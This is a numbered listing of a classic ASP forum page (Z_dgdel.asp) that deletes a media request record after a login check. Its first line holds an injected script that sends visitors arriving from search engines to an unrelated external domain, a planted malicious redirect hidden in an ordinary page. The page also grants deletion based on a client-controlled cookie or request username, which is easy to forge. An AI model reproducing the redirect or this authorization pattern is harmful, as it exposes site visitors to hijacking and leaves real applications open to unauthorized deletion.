d:\wwwroot\wuchunhua\Z_dgdel.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!-- #include file="setup.asp" -->
002: <!--#include file="z_dgconn.asp"-->
003: <%
004: top
005: dim id,candeletedg,founderr
006: founderr=false
007: candeletedg=false
008: if Request.Cookies("username")="" then
009: error("<li>您还还未<a href=login.asp>登陆</a>社区")
010: founderr=true
011: end if  
012:   
013: if Request("id")="" or (not isnumeric(Request("id"))) then
014:    error("<li>参数非法，请确认您是从有效连接进入")
015:    founderr=true
016: else
017:    id=clng(Request("id"))
018: end if
019: '==========判断是否可以删除点播 开始
020: master=split(administrators,"|")
021: for i = 1 to ubound(master)-1
022: mastera=master(i)
023: next
024:
025: if not founderr then
026:    set rs=connDG.execute("select sender,incept from [media] where id="&id)
027:    if rs.bof and rs.eof then
028:       error("<li>参数非法，请确认您是从有效连接进入")
029:       founderr=true
030:    else
031:    if rs(0)=Request("username") or rs(1)=Request("username") or Request.Cookies("username")="admin" then
032:       candeletedg=true
033:    else
034:       error("<li>您没有删除此点播的权限")
035:       founderr=true  
036:    end if  
037: end if  
038: end if  
039: '==========判断是否可以删除点播 结束  
040: if founderr or (not candeletedg) then
041:    call CloseDB()
042: else  
043:    sql="delete * from [media] where id="&id
044:    connDG.Execute(sql)
045:    call CloseDB()
046: succtitle="删除成功"
047: message=message&"<li><a href=default.asp>删除点播信息成功,返回上一页!</a><li><a href=default.asp>返回论坛首页</a>"
048: succeed(""&message&"<meta http-equiv=refresh content=3;url=Default.asp>")
049:
050: end if
051: %>
052:
053:

---